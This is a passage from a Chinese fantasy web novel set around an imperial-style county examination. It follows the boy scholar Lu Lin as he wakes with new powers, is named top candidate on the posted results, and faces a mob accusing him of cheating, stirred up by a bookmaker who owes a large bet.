丫鬟仔细记下夫人的叮嘱,转身离去。 一直沉默的柳老爷,幽幽地开口: “那根老山参,可是大哥特意从京城派人送来的。” “我自己都舍不得动。” 夫人闻言,猛地转过头,一双美目瞪着柳老爷。 老爷被夫人看得有些发毛,讪讪地移开了视线,重新拿起了桌上的书卷,嘴里嘟囔着。 “看我做什么,我又没说不给。” 夫人这才收回目光,轻哼一声,美目带笑。 ........ 从清心园汇报完的小厮脚步匆匆,一路从清心园又来到了沈夫子所在的静心堂。 院门外,小厮站定,恭敬地将管事的话复述了一遍。 门内,沈夫子听完小厮的汇报,声音平稳。 “知道了。” “让他好生歇息,等醒了,再来见我。” 小厮躬身应诺,不敢多做打扰,转身离去。 回到屋中,师兄正就着一碟茴香豆,自顾自地喝着劣酒,眼神已有些迷离。 沈夫子想到璘哥儿回来后那疲惫不堪、直接躲进房里的模样,心里隐隐有些猜测。 恐怕是……发挥得不甚理想。 璘哥儿学问是过关的,就是这阅历还太少了。 看来只能等下一次的县试了。 一念及此,沈夫子忍不住轻轻叹了口气。 “唉。” 耳尖的师兄听到这声叹息,斜着眼瞥了过来。 “你一个臭教书的,整日里愁眉苦脸,哪来那么多伤春悲秋的闲事?” 他端起酒杯,朝着沈夫子一扬。 “有何可感叹的,快来陪我喝酒。” 沈夫子摇了摇头,开口解释: “我有一位学生,今日参加县试,看样子,似乎是发挥得不太好。” “学问是挺扎实的,可年龄还是太小了.....” 沈夫子倒没有在师兄面前,过多地吹嘘璘哥儿的天赋如何如何。 哪怕璘哥儿天赋再高,再如何神童。 放在同样是年少成名,至今都是大儒最年轻纪录保持者的师兄面前,还是不够看。 师兄闻言嗤笑一声,言语间毫不掩饰讥讽: “还学生?” “就你这半桶水的学问,能教出什么好学生来。” “况且这柳府里的家丁下人,哪个不是惯会钻营取巧,一门心思都扑在那铜臭俗物之上,哪有心思做学问。” 他虽然也是今天到的,但抵达清河县的时候,错过了文钟自鸣的事。 沈夫子闻言,脸色瞬间郑重了许多,出言纠正了师兄的说法。 “师兄,他不是学生。” “是弟子。” 学生与弟子的含义,天差地别。 学生,不过是传道授业。 而弟子,却意味着衣钵传承,是赌上自己一生声名与学问的延续,其关系之牢固,堪比父子。 落魄书生闻言,脸上醉意都消散了几分,眼中闪过一丝意外。 他上下打量着沈夫子,有些疑惑: “收一个家丁做弟子?” 见沈夫子认认真真地点头回答,落魄书生这才忍不住破口大骂: “沈春芳,你真是越活越回去了,也难怪当年会被宴居那老匹夫赶出京城。” 前半句,沈夫子倒没有半点愠怒,师兄什么风格,他早就习惯了。 但听到宴居二字,往事如烟,一下涌上心头,沈夫子忍不住叹了口气,眼神有些复杂。 愣了好一会,才开口询问: “师兄,如今朝堂局势,究竟如何了?” 柳拱这老匹夫,虽与自己书信往来不断,可信中总是报喜不报忧,对于朝堂之事,总是含糊其辞,话不说透。 落魄书生冷笑一声,又灌下一大口酒: “处境?你是问柳拱?他现在处境堪忧啊!” “因为边患之事,跟宴居那厮意见不合,已经连着上了三次乞骸骨的折子,都被圣上给打了回来。” “不过,以宴居如今在圣上面前的恩宠,他要是再上一次折子,怕是圣上就真的准了。” 沈夫子闻言,脸色骤变。 第57章 圣策九字 “何至于此啊,局势竟已到了累卵之势,逼得老匹夫乞骸骨?” 沈夫子脸带愁容,说得好听是乞骸骨,说得不好听,则是柳拱已经知道自己的结局了。 还不如以乞骸骨的方式,请求致仕,给自己留一份体面。 这老匹夫,在信里语焉不详,从来都是一副信誓旦旦,形势一片大好的态度,竟没想到局势糜烂至此.... 沈夫子罕见地端起酒杯,一饮而尽,眉头紧皱,长长地地叹了口气: “内忧外患,妖孽频出,大夏风雨欲来啊,光是今年,妖族犯关就不止一两次了....” 师兄摇头,冷笑一声,看来自己这师弟窝在江南道,消息落后太多了。 “何止是犯关。” “就在上个月,一支妖族精锐,绕过了边防大营,直接冲到了雁门关城下。” “雁门关?”沈夫子闻言失声惊呼。 师兄点了点头,脸色也逐渐沉重: “近半年来,北境的妖族跟疯了一样,屡屡叩关。” “最近的一次,更是直接撕开了镇北城的防线,直达镇北城下....” 镇北城! 沈夫子心头猛地一跳,一股寒意从脚底板直冲天灵盖。 大夏北境第一雄关,城中驻军十万,更有百万生民! 若是城破…… 他几乎不敢想下去,以妖族的残忍手段,那将是何等的人间炼狱,尸山血海。 师兄瞧出了师弟的担忧,他当初听到这个消息的时候,也吓了一跳,开口解释: “城倒是没破。” “妖族不知为何,只是在城外转了一圈,并未攻城,算是不幸中的万幸。” 沈夫子长长地松了口气,可紧接着,更深的疑惑与不安涌上心头。 妖族费尽心机撕开防线,却围而不攻? 事出反常必有妖。 “不过,圣上震怒。” 落魄书生没有纠结妖族异常动向的原因,聊起了朝堂因此产生的变化。 “镇守北境的何将军,当即就被一道圣旨,撸了顶戴花翎,押解回京问罪了。” 沈夫子闻言,眼神一凛,下意识地点了点头。 “何敬忠此人,我当年在朝时便与他打过交道。” “为人持重有余,却魄力不足,守成尚可,应变则难。” “圣上此举,乃是明断。” 落魄书生听着这话,倒是没反驳,只是冷笑一声。 “问题就出在这明断之后。” “主将之位空悬,谁来接替,这才是真正的麻烦。” “柳拱力荐文官洪象挂帅出征。” 洪象? “洪象此人,虽是文臣,却胸有丘壑,于兵法韬略一道,见解独到,曾著《平妖策》一书,鞭辟入里,我曾有幸拜读,深以为然!” “老匹夫倒是会选人,举荐得好!此乃国之栋梁,正是不二人选!” “好?” 落魄书生脸上的讥讽之色更浓。 “宴居可不觉得好。” “他当庭驳斥,说洪象一介书生,纸上谈兵,不知兵事凶险,派他去镇守北境,无异于将十万将士与百万生民的性命,当做儿戏。” 沈夫子气得胡须乱颤。 “一派胡言!” “宴居此贼,只知党同伐异,何曾将国之安危放在心上!” 落魄书生晃了晃酒杯,看着杯中浑浊的酒液,幽幽开口。 “然后,柳拱就彻底失了理智。” “他当着满朝文武,指着宴居的鼻子,破口大骂。” “骂他是‘谄上欺下之奸佞,祸国殃民之妖人’。” 话音落下,屋子里陷入了一片死寂。 沈夫子脸上的怒容,瞬间凝固。 良久才从口中吐出三个字: “骂得好!” 这一声,几乎是从牙缝里挤出来的。 可那丝快意仅仅持续了片刻,脸色又挂上了愁容。 他太清楚宴居的为人了。 睚眦必报,手段阴狠。 他更清楚当今圣上的性子。 老匹夫当着圣上的面,如此失态,如此攻讦首辅…… 甚至,表面上是骂宴居,实际上是拐着弯骂圣上,识人不明,滥用奸佞。 这种方式对历朝历代任何一个大度的君主还好,可当今圣上? 沈夫子想到这里,忍不住打了个哆嗦。 ........... 翌日,直到傍晚时分,卢璘才缓缓睁开眼。 他这一觉,竟是直接睡了整整一天一夜。 从床上缓缓坐起身,四肢百骸传来一阵舒泰,昨日那种被抽干了所有精气神的疲惫感,早已消失。 取而代之的,是一种前所未有的神采奕奕。 脑海更是一片清明,往日里那些细微的杂念,此刻竟荡然无存。 怎么会有这么好的状态? 卢璘心念一动,内视己身。 下一刻,他整个人都愣住了。 才气海中,原本那稀薄如雾的才气,此刻发生了翻天覆地的变化。 原本丝丝缕缕的才气,竟一根根凝实如柱,静静悬浮其中,散发着温润的光泽。 这些才气,已经不能再用缕来形容了。 已然凝实成寸。 这就是传天下带来的效果嘛? 才气从缕成寸,他还没有听过哪个连文位都还只是蒙生的有这种情况。 对了,原稿呢? 想起县太爷和主考官千叮万嘱原稿的重要性,卢璘猛地从床上弹坐起来,心脏狂跳。 他记得自己是把所有东西都带回来了。 顾不上整理身上皱巴巴的衣衫,几乎是连滚带爬地扑到床边的行李前。 一把扯开包裹,双手在里面疯狂翻找。 书箱,笔墨,换洗衣物…… 没有。 还是没有。 不会被下人们整理的时候,弄丢了吧? 卢璘心里一咯噔,那可是传天下级别的文章原稿,若是弄丢了…… 他不敢想下去。 终于,指尖触碰到了一卷冰凉坚韧的纸张。 卢璘心里一喜,猛地将其抽了出来。 正是那张微黄的原稿,虽然此刻光芒不显,看上去和普通考卷无异,但原稿在手的卢璘心里无比踏实。 虚惊一场后,又把心思放到内视自身上。 脑海中,文道记录的关于自己的个人信息,也已经更新。 【姓名:卢璘,籍贯:下河村人,清河县柳家书童】 【文位:蒙生】 【才气:百寸】 【自创经典:神童诗(出县),特效:悟性提高,对经史子集,文章诗词等经典,研读效率翻倍,幼童听众有概率觉醒“早慧”天赋,效果持续三日。游子吟(达府),特效:文位达到童生后展示。咏青松(达府),特效:文位达童生后展示。】 【圣策九字:修身齐家治国平天下(传天下),特效一阶段:修身(文胆初鸣),神通:明心见性,免疫一切幻术,妖邪不侵,大幅度提高心力。】 看到这里,卢璘的呼吸都为之一滞。 目光死死地盯在那最后一行字上。 终于明白,自己醒来后那股脱胎换骨的感觉从何而来了。 明心见性,免疫幻术,妖邪不侵,大幅提高心力。 怪不得脑海中一片清明,再无半分迷惘。 圣策九字。 连名字都帮我取好了。 而且仅仅是第一阶段的修身,便有如此恐怖的效果以及神通。 那后面的齐家、治国、平天下,又该会如何? 第58章 放榜 而且光是特效第一阶段都有这等效果,不敢想象被县老爷等人视为至宝的原稿,又有何妙用。 卢璘深吸一口气,将原稿小心翼翼地重新卷好,贴身放入怀中。 直到胸口传来坚实触感,心绪才渐渐平复下来。 可刚刚情绪缓和一会,一股前所未有的饥饿感从腹中传来。 一天一夜没进食,再加上圣策九字的巨大消耗。 卢璘能明显地感觉,胃里直冒酸水,觉得自己现在能吞下一头牛。 顾不上再细细体悟,翻身下床,踉跄着就想往外走。 一把拉开房门。 门外昏黄的灯笼下,一个小厮正靠着门框打盹,脑袋一点一点的。 开门声惊醒了小厮 他一个激灵,猛地站直了身子,看到卢璘后,脸上瞬间堆满了笑容。 卢璘有些意外。 “你怎么守在这里?” 小厮连忙躬身,态度恭敬: “回璘哥儿的话,是夫人吩咐的。” “夫人担心您在考场操劳过度,回来又没用饭,特意让小的在这儿候着。” 小厮顿了顿,小心翼翼地问道。 “璘哥儿可是醒了?要去拜见夫人吗?” 卢璘摇了摇头,这会饿得晕头转向,哪有力气去拜见。 “我先去趟食堂。” 小厮闻言,脸上露出一丝笑意。 “夫人早就料到了,后厨一直用小火给您温着吃食呢,都是些清淡滋补的。” “可要小的现在就让人给您送过来?” 原来一切都安排好了。 卢璘心中划过一丝暖流,索性也不打算再走这一趟。 自己也确实需要一点独处的时间,来好好适应身体的变化。 明日等放榜了,再去拜见老爷夫人和夫子也不迟。 卢璘点了点头。 “有劳了。” 想了想,又对小厮补充了一句。 “再替我传句话给夫人和夫子” “就说我一切安好,只是有些饿了,让大家不必挂心。” 小厮点了点头,转身离去。 .............. 另一边,清心园内 夫人林氏和来看望卢璘的李氏正在闲聊,话题正是一整天没出门的卢璘。 “妹子,你也别太担心了。” “璘哥儿毕竟年纪还小,睡一觉起来就没事了。” 李氏闻言点头,但心里对儿子满是担忧。 哪有正常人睡一天一夜还水米未进的,李氏心里默默叹气。 林氏见李氏愁眉不展,一时也没有开口。 昨天光顾着担心璘哥儿的身子,倒是忽略了另一层。 还是老爷看得通透,提醒自己才想到 恐怕,是发挥得不甚理想,心里受了挫,这才没脸来见人。 科举之路,千军万马过独木桥,何其艰难。 “妹子,璘哥儿毕竟第一次下场,没发挥好是常事,不用过于介怀...” 李氏闻言,心里又闷又沉。 儿子没考好,自己早就知道了。 不是从夫人口中,而是他大伯带来的消息。 今天一大早,他大伯领着公公婆婆一大家子人来文庙街。 一来就满屋子宣扬。 “一见璘哥儿出考场那副垂头丧气的样子,就知道这次悬了。” “也是,科举可没那么容易,要不然我能考这么些年....” “不过我这次稳了,咱们卢家出秀才,还是得把希望放在我身上....” 美其名曰,是来给璘哥儿安慰的。 可李氏心里跟明镜似的。 那副嘴脸,哪里是来安慰,分明就是来看笑话的。 生怕别人不知道,话里话外就一个意思,他才是卢家翻身的希望,璘哥儿一个小娃娃凑凑热闹得了。 就在这时,又一个小厮匆匆赶来,在门外禀报。 “夫人,璘哥儿醒了,说是身子无碍,只是饿了,让两位夫人不必挂心。” “还说……明日一早,再来给老爷夫人请安。” 这话一出,林氏与李氏对视一眼,默默的叹了口气。 果然是没考好。 否则以璘哥儿的性子,怎会连面都不露,还要拖到明日。 这孩子,是觉得没脸见她们啊。 林氏心中愈发怜惜,站起身,对着门外的丫鬟吩咐道。 “传话下去,这几日,府里上下谁也不许再提科举的事。” “免得璘哥儿听了,触景伤情。” 说完,又重新坐回李氏身边,握住她冰凉的手,柔声安慰。 “妹子,你也放宽心。” “璘哥儿的学问,我心里有数,连沈夫子那等人物都赞不绝口,可见是真有才学的。” “读书人考试,临场失手,本就是常事,算不得什么。” “一次不成,还有下一次,咱们璘哥儿还年轻,有的是机会。” 林氏看着李氏依旧忧愁的脸,想了想,又开口道。 “今晚,妹子就别回去了,咱们姐妹俩许久没在一块儿说说话了。” “正好,你在这儿住下,明日璘哥儿过来,看到你这个做母亲的在,想必心里也能好受些。” 李氏闻言心中一暖,一想到回文庙街,大伯等人看笑话的嘴脸,心里又堵得慌,索性干脆不回去了。 “那就打扰夫人了!” ...... 又是一天过去。 翌日清晨,天光大亮。 晨练完的卢璘来到清心园外,步履如松、气息悠长。 一夜安眠,加上彻底适应了修身特效后,让卢璘本就清逸的容貌愈发出神,双眼中神采隐而不露,却又一副生机勃勃的味道。 站定后,卢璘叩响了院门。 “璘哥儿来了。” 守在门口的丫鬟一开门,就见了卢璘,脸上露出几分惊讶,感觉璘哥儿比往日更加出彩了。 顾不上惊讶,丫鬟连忙躬身行礼,引他入内。 卢璘一进门,便看到了坐在主位上的林氏以及一旁的李氏。 “娘怎么也来了?”卢璘有些意外。 随后上前,恭恭敬敬地行了一礼。 林氏含笑点头,目光忍不住在璘哥儿身上打量。 这璘哥儿,几天不见,怎么越发神采奕奕? 一旁李氏看到卢璘,眼神里满是疼惜,连忙拉着他在身边坐下。 “娘,今天这么早过来,店里不忙啊?” 李氏闻言,脸上的笑容有些勉强。 “你祖父祖母,还有你大伯他们一家,都来了。” “说是……说是来看看你,家里地方小,住不下了,我便来叨扰夫人一晚。” 家里住不下? 卢璘心中微动,却没有表露分毫。 文庙街的宅子,虽然算不上宽敞,可住下祖父祖母大伯等人还是绰绰有余的。 这几年,祖父祖母他们也来过几次,从未有过住不下的说法。 估计又是大伯做了什么妖,惹娘生气了。 李氏说完,这才发现了卢璘隐隐有些不同。 眼前的璘哥儿,一副精神饱满,目光清澈的样子,哪有半点自己想象中的萎靡不振。 才不过两日不见,儿子好像……完全变了个人。 可究竟是哪里不一样了,她又说不上来。 不只是她,一旁的林氏早就察觉到了卢璘的异常。 她本已准备好了一肚子安慰璘哥儿的话,可看着璘哥儿身上展现出那股气质昂扬,风采更胜往昔的模样。 话到嘴边,竟一句也说不出口。 不仅身上看不到一丝一毫受挫后的阴霾。 眼睛里,反倒比从前更多了几分洞悉世事的通透与沉静。 哪里有半点考试失利后应有的颓丧与沮丧? 就在这时,一道粗犷的声音从门外传了进来。 “娘!璘哥儿还没醒啊,我刚才外面回来,这会放榜了都,走走走,赶紧去看看璘哥儿有没有拿到案首....” 话音未落,少爷风风火火地闯了进来。 他一进门,目光便落在了卢璘身上。 “哟,璘哥儿终于醒了啊。” “正好,这会榜单出来了!就在刚刚,县学门口贴出来了!” 少爷几步凑到卢璘跟前,用胳膊肘碰了碰他,挤眉弄眼。 “这次的案首,是不是手拿把掐?” 林氏闻言,一双美目狠狠瞪了过去。 这个不成器的东西,当真是哪壶不开提哪壶! 明明昨天特意交代过,别在璘哥儿面前提科举的事。 这不成器东西真是一点记性不长啊。 第59章 别看了,没你的名字 放榜的地方位于清河县衙门附近,此刻已是人山人海。 放榜,又称发案。 虽然时辰未到,但张贴榜单的墙壁前,已挤满了考生学子和家属。 卢璘和少爷几人赶到时,里三层外三层,早已没了插足之地,只能远远地站在人群后方。 还未放榜,等待的学子们还算淡定,心态倒也稳得住。 不过也是神色各异,有的面色惨白,嘴唇哆嗦,有的则三五成群,故作镇定地高谈阔论。 当然也有离谱的,跪在地上冲着榜墙的方向念念有词,祈求神明保佑。 大伯也来了,和三两同窗好友一同来看热闹。 同时也看到了在等着放榜的卢璘。 “璘哥儿,你总算是醒了,这才考完一场,怎会如此不堪,我看,你这次是悬了啊!” 径直走过来的大伯开口就没有好话。 卢璘忍不住翻了个白眼,半点开口的兴致都没有。 合着你考了几十年没考中,就盼着别人考不中呗。 卢璘没开口,大伯的同窗以为卢璘被说中要害心虚了,也笑着说: “卢兄,这就是你那个十二岁参加科举的侄子啊,果然不同寻常。” “就是这身子骨还得练练啊,这才第一场,还有几场呢,怎么撑得住?” 大伯捋着长须,一派过来人的口吻回应道: “没事,权当积累经验吧,璘哥儿年龄还小,以后机会多的是!” 几人你一言,我一语的,就差明明白白地把卢璘考不中宣之于口了。 卢璘闻言也不生气,淡淡一笑,没有开口反驳。 反正榜单马上就要贴出来了。 这时,在人群外看热闹的少爷兴致勃勃地走了过来。 “走走走,那边有人开了盘口!咱们也去凑凑热闹。” 众人顺着少爷手指的方向一看,不远处,一群人围在一座摊子前。 旁边立着一块木牌,上面用毛笔写着几个大字:童试第一场放榜,赌魁下注。 少爷开口解释说:“不止可以赌谁是案首,也可以赌某个考生能不能考中。” 大伯和他的几个友人一听这话,顿时来了兴趣,纷纷凑了过去。 “有意思,有意思。” 大伯搓着手,回头冲着卢璘喊道:“璘哥儿,你座位号是多少?” 卢璘心中一阵无语。 看大伯那两眼放光的样子,用脚指头想也知道,他肯定是想赌自己考不中,好赚上一笔。 “璘哥儿,座位号!” 少爷也来了兴致,不过他和大伯的想法截然相反。 他是奔着卢璘拿下案首去的。 从卢璘第一次踏进学堂,少爷对卢璘的学问就服了。 一个案首而已,还不是手到擒来? 果然,从卢璘口中得知座位号,少爷又转头对着身后几个柳府家丁一挥手。 “把身上带的钱都掏出来,凑一凑!” “今天,咱们就玩把大的,全压璘哥儿中案首!” 听到这话,大伯和他的友人们先是一愣,随即爆发出哄堂大笑。 “哈哈哈,这位兄台,你没睡醒吧?” “连第一场都累虚脱了,也能中案首?” “不如你在我这里下注,赔率就按堂口的来。” 少爷闻言愣了一下,与其费劲挤到盘口,还真就想干脆找这几人下个场外算了。 可转头一看几人的打扮,哪里像是能拿出钱的样子。 一群穷酸,呆会要是赔不起,他找谁去。 摇了摇头,少爷带着几个家丁,雄赳赳气昂昂地挤进了人群。 大伯也拉着他的友人跟了过去。 片刻之后,两人一前一后地从人群里挤了出来。 只是脸上的表情,一个天上,一个地下。 大伯垂头丧气,满脸晦气。 少爷则恰恰相反,红光满面,兴高采烈,手里还攥着一张盖了红印的票据,走路都带风。 卢璘有些好奇。 “怎么了?” 少爷晃了晃手里的票据,笑得合不拢嘴。 “那庄家不识货!” 少爷开始解释原委,原来卢璘之前在清河县毫无名气,只是一个柳府的书童,盘口那边根本没人看好他。 大伯想押卢璘考不中,结果发现赔率低得可怜,押一两银子,赢了也才多几文钱,气得他当场就不想押了。 而少爷这边,觉得自己捡了个天大的便宜。 赌卢璘中案首的赔率,竟然高达一赔三十! “千载难逢的机会啊!” 少爷激动地挥舞着手里的票据,唾沫横飞。 “这要是中了,就是一千五百两啊!” “可惜你们身上带的钱太少了,东拼西凑才凑了五十两银子。” 大伯和他的几个友人闻言刚准备开口,说少爷这五十两银子算是彻底打了水漂,还不如送给他们去喝顿好酒。 这时,一阵喧闹的锣鼓声由远及近,从县衙的方向传来。 原本拥挤嘈杂的人群,自动分开一条道路。 几个身穿皂衣的差役,簇拥着一名手捧大红榜文的小吏,一路吹吹打打地走了过来。 那榜文卷着,也看得出尺寸极大。 所有人的目光,瞬间都被吸引了过去。 小吏在一众差役的护卫下,走到高墙前,将手中的榜文猛地一抖。 哗啦一声。 巨大的红色榜文如瀑布般展开,足有半人多高,上面密密麻麻写满了名字与座位号。 字迹用的是加粗的馆阁体,写得极大,每个人都能看得清清楚楚,即便站在人群外围,也能勉强辨认。 两个差役手脚麻利地提着浆糊桶上前,稳稳地将巨大榜文贴在了榜墙之上。 榜文高挂的瞬间,人群轰然炸开。 “中了!我中了!!” 一个面黄肌瘦的青年学子,在榜上找到了自己的名字,先是愣了半晌,随即状若疯癫地大笑起来,笑着笑着,眼泪便滚滚而下。 “爹,娘,儿子对得起你们了!” 有人喜,自然就有人悲。 一名头发花白的老者,颤抖着手指在榜上从头找到尾,又从尾找到头,来来回回看了三遍,最终也没能找到自己的名字。 他脸上的血色瞬间褪尽,双腿一软,瘫坐在地,眼中只剩下绝望。 一时间,众生百态,尽显于此。 有人狂喜,被同伴高高抛起。 有人绝望,捶胸顿足,泣不成声。 有人抱头痛哭,有人被家人簇拥着欢呼雀跃。 卢璘和少爷也踮起脚尖,目光在那片密密麻麻的黑字中搜寻着。 还没等卢璘看清榜上的字迹,大伯的声音却在一旁悠悠响起。 “行了,璘哥儿,别看了。” 只见大伯不知何时挤到了前面,此刻又挤了回来,脸上带着一种古怪的表情,又是惋惜,又像是松了口气的样子。 “榜单我已经看完了,璘哥儿的名字和座位号都没有找到。” 大伯拍了拍卢璘的肩膀,一副过来人的口吻,脸上的喜色却怎么都止不住。 “璘哥儿,现在知道科举的难处了吧。” “你以为大伯我这个童生,是那么好当的?这其中的辛苦,不是你这种小孩子能明白的。” “不过没事,这次就当是长长见识,知道天高地厚了,以后就不会好高骛远了。” “咱们卢家出秀才的希望,终究还是要落在我身上啊。” 大伯身边的那几个友人也立刻围了上来,七嘴八舌地开口。 “是啊,卢小友,一次失利算不得什么,你还年轻。” “就是,你大伯考了这么多年,才是个童生,你第一次下场,没考中才是正常的。” 话里话外,全是嘲讽与看笑话的意味。 第60章 案首卢璘 少爷的脸色瞬间就沉了下来,满脸的不可置信。 “不可能!” “璘哥儿的学问,连沈夫子都亲口夸赞过,怎么可能榜上无名!不然我能下注五十两银子,当本少爷傻吗?” 少爷倒不是心疼那下注的五十两银子。 而是怎么都不相信,以璘哥儿的学问连县试都过不了。 “这里面肯定有黑幕!一定是考官瞎了眼!”少爷指着那几个幸灾乐祸的童生,满脸怒气。 大伯的友人闻言,轻笑一声,阴阳怪气的开口: “这位兄台,话可不能乱说。” “依我看,璘哥儿要是考中了,那才叫有黑幕呢!” “一个十二岁的娃娃,也想跟我们这些寒窗苦读十几年的士子争锋?简直是笑话!” 眼看双方就要吵起来。 就在这时,又是一阵锣鼓声响起。 另一队衙役簇拥着一名小吏,分开人群,径直走到了榜墙之前。 小吏清了清嗓子,声音洪亮,传遍了整个街口。 “肃静!肃静!” “刚才张贴的,乃是乙等榜。” “本次县试,案首及甲等前五十名,在此另行张榜!” 乙等榜。 这话一出,原本嘈杂的人群瞬间安静了下来。 下一秒,又爆发出比方才更加猛烈的议论声。 甲等另行张榜。 这意味着,真正的重头戏,现在才刚刚开始。 不少落榜者眼中的希望再次升起。 少爷这才松了口气,目光转移到即将贴上的榜文上。 其他围观的人也翘首以盼,想看看本次清河县案首花落谁家。 万众期待下,小吏在一众差役的护卫中,走到了高墙前。 哗啦一声。 巨大的红色榜文轰然展开。 榜文的最顶端,两个龙飞凤舞的烫金大字,瞬间攫住了所有人的目光。 甲等。 两个差役手脚麻利地将榜文稳稳贴在了乙等榜的旁边。 与乙等榜上密密麻麻的名字不同,甲等榜上,只有寥寥五十个名字。 每一个名字,都写得笔力遒劲,清晰无比。 而最顶端,最显眼的位置,只有一行字。 案首:卢璘,座号:丙丑。 一瞬间,整个街口陷入了死一般的寂静。 所有人的目光,都下意识地汇聚在那一行字上。 大伯也看到了高悬榜首的名字,眼珠子都快瞪出来了。 案首是璘哥儿? 不可能,不可能,一定是同名。 大伯脑袋摇得跟拨浪鼓似的,打死都不敢相信,璘哥儿能拿下案首。 他猛地扭过头,满脸不可置信的看着卢璘,声音颤抖地缓缓开口: “璘哥儿,我记得你刚才说的座位号,好像不是丙丑?” 大伯身旁的友人也竖起了耳朵。 只见卢璘平静地点了点头,口中吐出几个字:“就是丙丑。” 几人闻言,脸上的血色唰地一下褪得干干净净,呆立当场。 短暂的死寂之后,柳府的家丁们率先爆发出震天的狂呼。 “中了!中了!” “是案首!璘哥儿是案首!” 少爷的反应比家丁们还要夸张,他先是愣了足足三秒,随即一把环抱住卢璘,满脸的激动。 “我就知道!我就知道,璘哥儿的案首是手拿把掐!” “一千五百两!哈哈哈哈!一千五百两到手了!” 卢璘满脸嫌弃地推开,唾沫星子就快吐到自己脸上的少爷。 少爷一点都不在意,晃了晃手里的票据,拉起卢璘就往人群外的赌摊挤。 “走走走!兑钱去!” “案首在此!都让让!案首在此!” 少爷的嗓门极大,这一声呼喊,瞬间让周围的人群炸开了锅。 无数道混杂着惊讶、羡慕、嫉妒、难以置信的目光,齐刷刷地投向了被少爷拉着的卢璘。 人群下意识地给两人让开了一条道路。 少爷拉着卢璘,雄赳赳气昂昂地挤到了赌摊前。 “啪”的一声,将那张盖着红印的票据拍在桌上。 “兑钱!” “一赔三十,一千五百两,谢谢惠顾!” 盘口后面,那个原本悠闲地磕着瓜子的年轻人,脸上的笑容瞬间凝固了。 他拿起票据,又抬头看了看远处红榜上那个刺眼的名字,脸色由红转白,又由白转青,最后变得如同锅底一般黑。 一千五百两。 这几乎是他这个盘口所有的流动资金了。 年轻人只觉得心头一阵绞痛,像是被人活生生剜下了一块肉。 我特娘的总共没赚一千五百两,还要倒贴不成? 看着眼前的少爷和卢璘,年轻人心里一阵憋屈。 这特娘的是哪里来的愣头青,怎么会下注一赔三十,而且还下注五十两。 他不敢相信眼前的事,可票据分明就是自己摊子上出去的。 人群听到少爷口中不断喊着:一千五百两,骚动变得更大了。 所有人的目光都聚焦在卢璘身上,这个看起来不过十二三岁的少年,竟是本届童试的案首? 而且还压了自己五十两银子中案首? 这怎么可能! 这时,一道尖锐的声音,突然从人群中响起。 “一个普通人,哪来的胆子敢下五十两重注赌自己是案首?” “还有这个叫卢璘的,之前在清河县根本就没半点名气!” “就是,闻所未闻!”立刻有人附和。 “你们懂什么,没看到他跟谁一起来的吗?” “那可是柳家少爷,区区五十两银子算得了什么。” 可这话非但没能平息,反而引起了更大的质疑。 “柳家?那问题就更大了!” “我可是亲眼看见,这个卢璘考完第一场出来的时候,脸白得跟纸一样,整个人都快虚脱了,是被家丁扶着走的!” “不止我,当时在场外等候的,肯定还有其他人也看到了!” “一个连第一场都差点坚持不下来的小娃娃,能拿案首?” “这要是没舞弊,我把脑袋拧下来给你们当球踢!” “彻查!必须彻查!” 盘口后方的年轻人,听到这话,双眼顿时发亮。 对啊! 舞弊! 只要坐实了舞弊,这钱不就不用给了? 他一拍桌子,指着卢璘,义正辞严地高声开口: “没错!绝对是舞弊!” “这钱,我们不能给!必须等官府调查清楚,还所有清河学子一个公道之后再说!” 年轻人身旁随从闻言脸色骤变,在一旁小心地扯了扯他的衣袖,压低了声音。 “少爷,少爷!使不得啊!” “如果真是舞弊,那咱们盘口也脱不了干系啊!” 他心里急得快要冒火。 少爷是不是读书读傻了? 这次县试的主考官,就是咱们家老爷啊! 你在这里带头高喊舞弊,这不是把亲爹往火坑里推吗? 可年轻人此刻心疼那一千五百两银子,早已被冲昏了头脑,哪里还顾得上这些。 他一把甩开随从的手,继续振臂高呼。 “舞弊!一定是舞弊!” 他这一喊,彻底点燃了人群的怒火。 那些没考上的学子,本就心中愤懑,此刻找到了宣泄的出口,立刻跟着鼓噪起来。 一时间,群情激奋。 “舞弊!舞弊!” “彻查!彻查!” “柳家仗着朝中有人,公然舞弊,将我等清河学子置于何地!” 第61章 奴籍 舞弊这个头一开,学子们的情绪一下就找到了宣泄口。 一声声舞弊,一声声彻查,一声声还读书人公道之类的,几乎要掀翻整条长街。 不过虽然异口同声,但动机是不同的。 叫得最为响亮的是落榜学子,一双双眼睛恨不得把卢璘吞下去。 对他们来说,事情闹得越大越好。 最好能让这次的考试结果作废,重新再考一次,那他们就还有机会。 法不责众。 而那些已经考中,名字挂在甲乙两榜之上的学子,也有自己的心思。 他们没有高声叫嚷,却也没有出声制止。 只是带着几分嫉妒的目光,冷冷地看着被围在中央的卢璘。 若是能把这个十二岁的案首拉下马,案首之位空悬,他们这些人的名次,说不定就能再往上提一提。 更有甚者,是纯粹的仇富与嫉妒。 柳家在清河县家大业大,平日里便引得不少人眼红。 如今一个柳家的书童,竟一飞冲天,成了县试案首。 这让他们如何能够甘心。 人群的角落里,一个名叫余程友的落榜书生,正悄悄地推搡着身前的人。 “柳家仗势欺人,如今更是敢堂而皇之的操控县试,公然舞弊,我们这些寒门子弟,还有活路吗?” “今天若是不讨个说法,日后科举,便再无我等出头之日了!” 他躲在人群中,只能听到声音,却看不见他的人。 余程友根本不在乎案首到底有没有舞弊。 他只知道,只要把事情搅浑,对自己便只有好处,没有坏处。 只要是舞弊,那他就有利可图。 听到这话,原本还算克制的学子们,彻底失控了。 “交出案首!” “还我等一个公道!” 群情激奋的学子们,如同潮水般,朝着卢璘和少爷涌了过来,将他们团团围住。 可身处风暴中心的卢璘,脸上却没有半分慌乱。 他冷眼旁观着眼前一幕幕。 谁是第一个质疑的。 谁在人群中煽风点火。 谁的眼中是纯粹的愤怒,谁的眼中满是贪婪。 在【明心见性】的神通加持下,卢璘头脑格外清晰,一点都没有被干扰。 这些人的情绪与动机,根本无所遁形。 不过,有一点卢璘把握不准。 高达一赔三十的赔率盘口,恰到好处的煽动。 一切都像是提前布置好的陷阱。 就等着自己一头撞进来。 这件事到底是偶然,还是被人做局? 一旁的少爷见众人越来越近,额头渗出一层细密的汗珠,一颗心早已提到了嗓子眼。 看着落榜学子们扭曲愤怒,要吃人的眼神,这已经不是讨个说法那么简单了。 一个不好,他和璘哥儿今天可能都走不出这里。 他的目光在人群中飞快扫过,最后落在了圈外一个柳府家丁的身上。 少爷飞快地朝着对方使了个眼色,下巴朝着县衙的方向,极快地扬了一下。 家丁心领神会,没有丝毫犹豫,悄无声息地退后一步,转身便融入了外围看热闹的人群,很快消失不见。 